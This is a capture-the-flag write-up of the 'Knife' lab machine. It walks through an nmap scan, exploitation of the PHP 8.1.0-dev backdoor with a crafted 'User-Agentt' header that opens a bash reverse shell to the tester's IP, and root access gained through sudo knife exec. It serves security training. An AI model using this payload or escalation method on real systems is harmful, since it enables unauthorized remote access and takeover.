Knife Writeup
Reconnaissance & Enumeration
As usual I started with the nmap scan of the box.
# Nmap 7.91 scan initiated Sun May 23 05:31:01 2021 as: nmap -v -sC -sV -oN nmap knife.htb
Nmap scan report for knife.htb (10.129.110.132)
Host is up (0.15s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 23 05:31:15 2021 -- 1 IP address (1 host up) scanned in 14.45 seconds
There are only 2 ports open: Port 80 for the Apache
service and 22 for the SSH
.
On port 80 there is a simple page, without anything useful.
I couldn’t find any directory or file on the webserver either, so I looked into the network traffic to look for more information. Using Mozilla’s built-in Network Monitor I’ve found out that the site uses PHP
with version 8.1.0-dev
.
This particular version of PHP
has a backdoor vulnerability described on the following links:
Link 1
Link 2
Getting user
After finding the right articles, getting User
was easy. I fired up burp
to craft a request with the following headers.
GET / HTTP/1.1
Host: knife.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.84/4444 0>&1'");
Cache-Control: max-age=0
Note the second last header: User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.84/4444 0>&1'");
. The backdoor basically gets the content of the User-Agentt
and executes the string if the it starts with zerodium
. Naturally, after I tested the backdoor I created a reverse-shell to get user access and grab the user flag.
┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.84] from (UNKNOWN) [10.129.110.135] 55484
bash: cannot set terminal process group (886): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ ls -la
ls -la
total 84
drwxr-xr-x 20 root root 4096 May 18 13:25 .
drwxr-xr-x 20 root root 4096 May 18 13:25 ..
lrwxrwxrwx 1 root root 7 Feb 1 17:20 bin -> usr/bin
drwxr-xr-x 4 root root 4096 May 6 14:49 boot
drwxr-xr-x 2 root root 4096 May 6 14:10 cdrom
drwxr-xr-x 19 root root 4040 May 23 07:10 dev
drwxr-xr-x 99 root root 4096 May 18 13:25 etc
drwxr-xr-x 3 root root 4096 May 6 14:44 home
lrwxrwxrwx 1 root root 7 Feb 1 17:20 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Feb 1 17:20 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Feb 1 17:20 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Feb 1 17:20 libx32 -> usr/libx32
drwx------ 2 root root 16384 May 6 14:08 lost+found
drwxr-xr-x 2 root root 4096 May 18 13:20 media
drwxr-xr-x 2 root root 4096 May 18 13:20 mnt
drwxr-xr-x 5 root root 4096 May 18 13:20 opt
dr-xr-xr-x 351 root root 0 May 23 07:10 proc
drwx------ 7 root root 4096 May 18 19:34 root
drwxr-xr-x 27 root root 820 May 23 07:21 run
lrwxrwxrwx 1 root root 8 Feb 1 17:20 sbin -> usr/sbin
drwxr-xr-x 6 root root 4096 May 18 13:20 snap
drwxr-xr-x 2 root root 4096 Feb 1 17:20 srv
dr-xr-xr-x 13 root root 0 May 23 07:10 sys
drwxrwxrwt 16 root root 12288 May 23 10:00 tmp
drwxr-xr-x 15 root root 4096 May 18 13:20 usr
drwxr-xr-x 14 root root 4096 May 9 04:22 var
james@knife:/$ cd /home
cd /home
james@knife:/home$ cd james
cd james
james@knife:~$ ls -la
ls -la
total 40
drwxr-xr-x 5 james james 4096 May 18 13:20 .
drwxr-xr-x 3 root root 4096 May 6 14:44 ..
lrwxrwxrwx 1 james james 9 May 10 16:23 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 james james 3771 Feb 25 2020 .bashrc
drwx------ 2 james james 4096 May 6 14:45 .cache
drwxrwxr-x 3 james james 4096 May 6 16:32 .local
-rw-r--r-- 1 james james 807 Feb 25 2020 .profile
-rw-rw-r-- 1 james james 66 May 7 14:16 .selected_editor
drwx------ 2 james james 4096 May 18 13:20 .ssh
-r-------- 1 james james 33 May 23 07:10 user.txt
james@knife:~$ cat user.txt
cat user.txt
cbb0b9145e871e31566e17348309572b
james@knife:~$
Getting root
Listing the allowed sudo commands as the user james
we find out that we can run the following command as sudo without authentication:
james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
james@knife:~$
Upon trying to run knife we get a really long output of the possible commands of the script. One such command is the exec
system-call:
knife exec [SCRIPT] (options)
Looking at the syntax it looks like we can execute a ruby script with it. So I quickly wrote a simple test script, which gave me a root shell and I could grab the root flag.
james@knife:~$ cat test.rb
system('/bin/bash')
james@knife:~$ sudo knife exec test.rb
root@knife:/home/james# id
uid=0(root) gid=0(root) groups=0(root)
root@knife:/home/james# cat /root/root.txt
f229ff05da51968b87bd9bc0d3b7b905
root@knife:/home/james#